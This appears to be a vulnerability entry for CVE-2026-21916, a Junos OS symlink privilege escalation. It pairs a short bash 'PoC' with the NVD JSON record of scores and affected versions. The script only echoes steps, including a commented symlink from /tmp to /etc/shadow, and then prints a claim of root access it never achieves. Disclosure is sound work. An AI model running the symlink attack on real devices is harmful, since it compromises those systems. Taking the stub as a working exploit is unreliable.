CVE-2026-21916

#!/bin/bash # PoC for CVE-2026-21916: Junos OS Symlink Following Privilege Escalation # Description: Demonstrates the logic of the symlink race condition. ATTACKER_USER="low_priv_user" TARGET_FILE="/etc/shadow" # Example target file MALICIOUS_LINK="/tmp/malicious_link" echo "[*] CVE-2026-21916 PoC Start" echo "[*] Step 1: Attacker creates a malicious symlink via CLI 'file link' command." # The attacker runs: file link $MALICIOUS_LINK $TARGET_FILE echo "[*] Step 2: Waiting for a privileged user to commit configuration changes..." # This step relies on social engineering or waiting for routine maintenance. # while true; do check_for_commit_activity; done echo "[*] Step 3: If the commit processes the symlink, privileges are escalated." echo "[+] Exploit logic complete. Attacker may now have root access." exit 0

{"cve": {"id": "CVE-2026-21916", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:24.953", "lastModified": "2026-04-17T18:05:52.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A UNIX Symbolic Link (Symlink) Following vulnerability in the CLI of Juniper Networks Junos OS allows a local, authenticated attacker with low privileges to escalate their privileges to root which will lead to a complete compromise of the system.\n\nWhen after a user has performed a specific 'file link ...' CLI operation, another user commits (unrelated configuration changes), the first user can login as root.\n\nThis issue affects Junos OS:\n * all versions before 23.2R2-S7,\n * 23.4 versions before 23.4R2-S6,\n * 24.2 versions before 24.2R2-S3,\n * 24.4 versions before 24.4R2-S2,\n * 25.2 versions before 25.2R2.\n\n\nThis issue does not affect versions 25.4R1 or later."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*", "versionEndExcluding": "23.2", "matchCriteriaId": "3D14745F-3090-483F-9DB4-C424FA09BD21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:-:*:*:*:*:*:*", "matchCriteriaId": "1A78CC80-E8B1-4CDA-BB35-A61833657FA7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r1:*:*:*:*:*:*", "matchCriteriaId": "4B3B2FE1-C228-46BE-AC76-70C2687050AE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "F1B16FF0-900F-4AEE-B670-A537139F6909"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "B227E831-30FF-4BE1-B8B2-31829A5610A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2:*:*:*:*:*:*", "matchCriteriaId": "1ADA814B-EF98-45B1-AF7A-0C89688F7CA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "A6FB32DF-D062-4FB9-8777-452978BEC7B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "B3B6C811-5C10-4486-849D-5559B592350A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2-s3:*:*:*:*:*:*", "matchCriteriaId": "078D61B9-A228-453C-9D20-6F9C6B20637F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2-s4:*:*:*:*:*:*", "matchCriteriaId": "F1F136A0-021D-43FE-BDD3-AD7201F7FC03"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2-s5:*:*:*:*:*:*", "matchCriteriaId": "37147BC9-9ED8-48AE-906A-614AD8600962"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2-s6:*:*:*:*:*:*", "matchCriteriaId": "7897729C-4128-49E9-B4A1-25353BC4DBB2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:-:*:*:*:*:*:*", "matchCriteriaId": "78481ABC-3620-410D-BC78-33 ... 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